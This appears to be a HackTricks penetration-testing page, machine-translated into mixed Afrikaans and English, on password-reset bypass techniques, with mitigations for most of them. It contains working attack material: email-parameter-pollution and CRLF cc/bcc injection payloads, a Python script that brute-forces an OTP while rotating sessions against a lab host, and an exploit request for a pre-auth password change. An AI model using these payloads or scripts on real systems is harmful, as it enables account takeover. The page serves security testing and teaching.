Reset/Forgotten Password Bypass

Reading time: 10 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Password Reset Token Leak Via Referrer

  • Die HTTP referer header kan die password reset token leak as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n third-party website link klik nadat hy 'n password reset versoek ingedien het.
  • Impact: Potensiële account takeover via Cross-Site Request Forgery (CSRF) attacks.
  • Exploitation: Om te kontroleer of 'n password reset token in die referer header leak, request a password reset na jou email adres en click the reset link wat verskaf is. Do not change your password onmiddellik. In plaas daarvan, navigate to a third-party website (soos Facebook of Twitter) terwyl jy intercepting the requests using Burp Suite. Inspekteer die requests om te sien of die referer header contains the password reset token, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
  • Impact: Lei tot potensiële account takeover deur reset tokens na attackers te leak.
  • Mitigation Steps:
  • Valideer die Host header teen 'n whitelist van toegelate domeine.
  • Gebruik veilige, server-side metodes om absolute URLs te genereer.
  • Patch: Use $_SERVER['SERVER_NAME'] to construct password reset URLs instead of $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

  • Add attacker email as second parameter using &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Voeg die attacker email as tweede parameter by deur %20 te gebruik
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Voeg attacker e-pos as tweede parameter by gebruik van |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Voeg die aanvaller se e-pos as tweede parameter by deur cc te gebruik
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"

Voeg attacker email as tweede parameter deur bcc te gebruik

php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Voeg die aanvaller se e-pos as tweede parameter by met ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Voeg attacker email as tweede parameter in die json array
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Verander e-pos en wagwoord van enige gebruiker deur API-parameters

  • Aanvallers kan e-pos- en wagwoordparameters in API-versoeke wysig om rekeningbewyse te verander.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Geen Rate Limiting: Email Bombing

  • Afwesigheid van rate limiting op password reset-versoeke kan lei tot email bombing, wat die gebruiker oorstroom met reset-e-posse.
  • Mitigasiestappe:
  • Voer rate limiting in gebaseer op IP-adres of gebruikersrekening.
  • Gebruik CAPTCHA-uitdagings om geoutomatiseerde misbruik te voorkom.
  • Verwysings:
  • HackerOne Report 280534

Vind uit hoe Password Reset Token gegenereer word

  • Om die patroon of metode agter token-generering te verstaan kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies:
  • Gebaseer op Timestamp
  • Gebaseer op die UserID
  • Gebaseer op email van User
  • Gebaseer op Firstname en Lastname
  • Gebaseer op Date of Birth
  • Gebaseer op kriptografie
  • Mitigasiestappe:
  • Gebruik sterk, kriptografiese metodes vir token-generering.
  • Verseker voldoende ewekansigheid en lengte om voorspelbaarheid te voorkom.
  • Gereedskap: Gebruik Burp Sequencer om die ewekansigheid van tokens te ontleed.

Voorspelbare UUID

  • As UUIDs (version 1) voorspelbaar is, kan aanvallers dit brute-force om geldige reset tokens te genereer. Kyk:

UUID Insecurities

  • Mitigasiestappe:
  • Gebruik GUID version 4 vir ewekansigheid of implementeer addisionele sekuriteitsmaatreëls vir ander weergawes.
  • Gereedskap: Gebruik guidtool vir die ontleding en generering van GUIDs.

Response Manipulation: Vervang slegte response met 'n goeie een

  • Manipuleer HTTP responses om foutboodskappe of beperkings te omseil.
  • Mitigasiestappe:
  • Implementeer server-side kontroles om response-integriteit te verseker.
  • Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle-aanvalle te voorkom.
  • Verwysing:
  • Critical Bug in Live Bug Bounty Event

Gebruik van vervalde token

  • Toets of vervalde tokens steeds gebruik kan word vir password reset.
  • Mitigasiestappe:
  • Implementeer streng token-verstrykingbeleid en valideer tokenverstryking server-side.

Brute Force Password Reset Token

  • Poging om die reset token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde rate limits te omseil.
  • Mitigasiestappe:
  • Voer robuuste rate-limiting en rekeningblokkasie-meganismes in.
  • Monitor vir verdagte aktiwiteite wat op brute-force-aanvalle dui.

Probeer om jou token te gebruik

  • Toets of 'n aanvaller se reset token in samewerking met die slagoffer se e-pos gebruik kan word.
  • Mitigasiestappe:
  • Verseker dat tokens aan die gebruikersessie of ander gebruikerspesifieke eienskappe gebind is.

Sessie-invalidering by Logout/Wagwoordherstel

  • Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker uitlog of hul wagwoord herstel.
  • Mitigasiestappe:
  • Implementeer behoorlike sessiebestuur en verseker dat alle sessies ongeldig gemaak word by uitlog of wagwoordherstel.

Sessie-invalidering by Logout/Wagwoordherstel

  • Reset tokens moet 'n vervaldatum hê waarna hulle ongeldig word.
  • Mitigasiestappe:
  • Stel 'n redelike vervaltyd vir reset tokens en dwing dit streng af server-side.

OTP rate limit bypass deur jou sessie te verander

  • As die webwerf die gebruikersessie gebruik om verkeerde OTP-pogings te volg en die OTP swak was ( <= 4 syfers), kan ons die OTP effektief brute-force.
  • Eksploitasie:
  • vra net 'n nuwe sessietoken aan nadat jy deur die bediener geblokkeer is.
  • Voorbeeld kode wat hierdie fout uitbuit deur ewekansig die OTP te raai (wanneer jy die sessie verander sal die OTP ook verander, en dus sal ons nie in staat wees om dit sequentieel te brute-force nie!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrêre wagwoordherstel via skipOldPwdCheck (pre-auth)

Sommige implementasies stel 'n password change-aksie bloot wat die password-change-roetine aanroep met skipOldPwdCheck=true en wat geen reset token of eienaarskap verifieer nie. As die endpoint 'n action-parameter soos change_password en 'n gebruikersnaam/nuwe wagwoord in die versoekliggaam aanvaar, kan 'n aanvaller arbitrêre rekeninge pre-auth terugstel.

Kwetsbare patroon (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation versoek (konsep):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Verligtingsmaatreëls:

  • Vereis altyd 'n geldige, tydgebonde reset token wat aan die rekening en sessie gekoppel is voordat 'n wagwoord verander word.
  • Moet nooit skipOldPwdCheck paths blootstel aan nie-geauthentiseerde gebruikers nie; vereis dat gebruikers geauthentiseer is vir gewone wagwoordveranderings en verifieer die ou wagwoord.
  • Maak alle aktiewe sessies en reset tokens ongeldig na 'n wagwoordverandering.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks